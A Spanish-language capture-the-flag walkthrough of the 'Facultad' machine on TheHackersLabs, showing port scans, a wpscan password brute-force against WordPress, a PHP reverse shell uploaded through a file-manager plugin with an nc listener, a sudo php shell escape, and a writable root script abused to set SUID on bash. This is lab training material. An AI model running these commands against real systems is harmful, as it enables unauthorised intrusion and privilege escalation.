Facultad es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, en mi caso será la 192.168.0.65
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(user㉿sec)-[~/.screenlayout] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.65 [sudo] password for user: Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 11:52 CET Initiating ARP Ping Scan at 11:52 Scanning 192.168.0.65 [1 port] Completed ARP Ping Scan at 11:52, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 11:52 Scanning 192.168.0.65 [65535 ports] Discovered open port 80/tcp on 192.168.0.65 Discovered open port 22/tcp on 192.168.0.65 Completed SYN Stealth Scan at 11:52, 0.65s elapsed (65535 total ports) Nmap scan report for 192.168.0.65 Host is up, received arp-response (0.00022s latency). Scanned at 2025-02-22 11:52:13 CET for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:21:92:B7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, con nmap le pasamos el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80 192.168.0.65 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 12:52 CET Nmap scan report for 192.168.0.65 Host is up (0.00062s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA) |_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Asignatura: Administraci\xC3\xB3n de Sistemas - Ingenier\xC3\xADa Inform\xC3\xA1... |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:21:92:B7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds |
Visitamos la web pero vemos que todos son enlaces rotos asi que usamos feroxbuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
┌──(user㉿sec)-[~/.screenlayout] └─$ feroxbuster --url http://192.168.0.65 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.65 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt, bak] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 177l 407w 4651c http://192.168.0.65/ 301 GET 9l 28w 313c http://192.168.0.65/images => http://192.168.0.65/images/ 200 GET 177l 407w 4651c http://192.168.0.65/index.html 301 GET 9l 28w 316c http://192.168.0.65/education => http://192.168.0.65/education/ 200 GET 439l 2303w 271202c http://192.168.0.65/images/facultad.jpg 301 GET 9l 28w 327c http://192.168.0.65/education/wp-content => http://192.168.0.65/education/wp-content/ 200 GET 384l 3177w 19915c http://192.168.0.65/education/license.txt 301 GET 9l 28w 328c http://192.168.0.65/education/wp-includes => http://192.168.0.65/education/wp-includes/ 200 GET 0l 0w 0c http://192.168.0.65/education/wp-includes/class-wp-widget.php 200 GET 0l 0w 0c http://192.168.0.65/education/wp-includes/class-wp-object-cache.php |
Tras ver indicios de que existe una instancia de wordpress, cancelamos y vamos a wpscan.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
┌──(user㉿sec)-[~/.screenlayout] └─$ wpscan --url http://192.168.0.65/education/ -e ap,u -P ~/rock --api-token x _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://192.168.0.65/education/ [192.168.0.65] [+] Started: Sat Feb 22 11:53:51 2025 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.62 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.0.65/education/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://192.168.0.65/education/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.0.65/education/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21). | Found By: Emoji Settings (Passive Detection) | - http://192.168.0.65/education/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1' | Confirmed By: Meta Generator (Passive Detection) | - http://192.168.0.65/education/, Match: 'WordPress 6.7.1' [i] The main theme could not be detected. [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <==============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] facultad | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] Performing password attack on Xmlrpc against 1 user/s [SUCCESS] - facultad / asdfghjkl Trying facultad / ronald Time: 00:00:04 <=========== > (410 / 5411) 7.57% ETA: ??:??:?? [!] Valid Combinations Found: | Username: facultad, Password: asdfghjkl [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 1 | Requests Remaining: 24 [+] Finished: Sat Feb 22 11:53:58 2025 [+] Requests Done: 462 [+] Cached Requests: 4 [+] Data Sent: 237.137 KB [+] Data Received: 479.83 KB [+] Memory used: 243.957 MB [+] Elapsed time: 00:00:07 |
Al tener la contraseña del usuario facultad, nos hacemos login en wordpress no sin antes añadir la entrada de facultad.thl a nuestro fichero hosts.
Una vez dentro y teniendo ya el plugin de WP File Manager instalado, subiremos una reverse shell.
Y estará en la misma carpeta que hemos seleccionado, en este caso será /education
Para enviarnos la reverse shell, tendremos que ir a http://facultad.thl/educacion/sh3ll.php teniendo ya un nc en escucha.
|
1 2 3 4 5 6 7 8 9 10 |
┌──(user㉿sec)-[~] └─$ nc -nlvp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [192.168.0.65] 37282 Linux TheHackersLabs-facultad.thl 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64 GNU/Linux 11:56:08 up 4 min, 0 user, load average: 0.22, 0.54, 0.26 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Revisamos qué usuarios tenemos en el sistema
|
1 2 3 4 5 |
www-data@TheHackersLabs-facultad:/$ cat /etc/passwd|grep sh$ root:x:0:0:root:/root:/bin/bash debian:x:1000:1000:debian,,,:/home/debian:/bin/bash gabri:x:1001:1001::/home/gabri:/bin/sh vivian:x:1002:1002::/home/vivian:/bin/sh |
Tras hacer revision manual de por dónde podemos ir para escalar, nos damos cuenta de que tenemos permisos como el usuario gabri para ejecutar php, así que miramos gtfobins y nos convertimos en el usuario.
|
1 2 3 4 5 6 7 |
www-data@TheHackersLabs-facultad:/home$ sudo -l sudo: unable to resolve host TheHackersLabs-facultad.thl: Name or service not known Matching Defaults entries for www-data on TheHackersLabs-facultad: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on TheHackersLabs-facultad: (gabri) NOPASSWD: /usr/bin/php |
|
1 2 3 |
www-data@TheHackersLabs-facultad:/home$ sudo -u gabri /usr/bin/php -r "system('/bin/bash');" sudo: unable to resolve host TheHackersLabs-facultad.thl: Name or service not known gabri@TheHackersLabs-facultad:/home$ |
Volvemos a revisar ficheros SUID, capabilities, pero no vemos nada, por lo que nos transferimos linpeas, ejecutamos y nos encontramos con la siguiente fichero .bf que parece que será la password del usuario vivian
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files /dev/mqueue /dev/shm /run/lock /tmp /tmp/linpeas.sh /tmp/pspy64 /var/lib/php/sessions /var/mail/gabri /var/mail/gabri/.password_vivian.bf /var/tmp /var/www/html/education/.tmb |
Leemos el fichero y nos encontramos con codigo brainfuck el cual pasamos por dcode.fr
|
1 2 |
gabri@TheHackersLabs-facultad:/tmp$ cat /var/mail/gabri/.password_vivian.bf ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++.-----------.+++++++++++++++.---------------.+++++++++++++++++++.--.---.-.-------------.<<++++++++++++++++++++.--.++.+++. |
Intentamos escalar al usuario con la contraseña obtenida y nos convertimos en vivian.
|
1 2 |
gabri@TheHackersLabs-facultad:/tmp$ su vivian vivian@TheHackersLabs-facultad:/tmp$ |
Volvemos a ver si tenemos algun permiso como algun usuario y encontramos que podemos ejecutar un script como root, el cual vemos que podemos escribir aparte de ser propietarios.
|
1 2 3 4 5 6 7 |
vivian@TheHackersLabs-facultad:/tmp$ sudo: unable to resolve host TheHackersLabs-facultad.thl: Nombre o servicio desconocido Matching Defaults entries for vivian on TheHackersLabs-facultad: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User vivian may run the following commands on TheHackersLabs-facultad: (ALL) NOPASSWD: /opt/vivian/script.sh |
|
1 2 3 |
vivian@TheHackersLabs-facultad:/opt/vivian$ ls -ltr total 4 -rwxr-xr-x 1 vivian vivian 58 ene 27 22:34 script.sh |
Por lo que sobreescribimos el fichero dándole SUID a bash para poder convertirnos en root
|
1 2 3 4 5 6 7 |
vivian@TheHackersLabs-facultad:/opt/vivian$ echo "chmod u+s /bin/bash" > /opt/vivian/script.sh vivian@TheHackersLabs-facultad:/opt/vivian$ sudo /opt/vivian/script.sh sudo: unable to resolve host TheHackersLabs-facultad.thl: Nombre o servicio desconocido vivian@TheHackersLabs-facultad:/opt/vivian$ bash -p bash-5.2# |
Hasta aquí la maquina Facultad de la plataforma Thehackerslabs
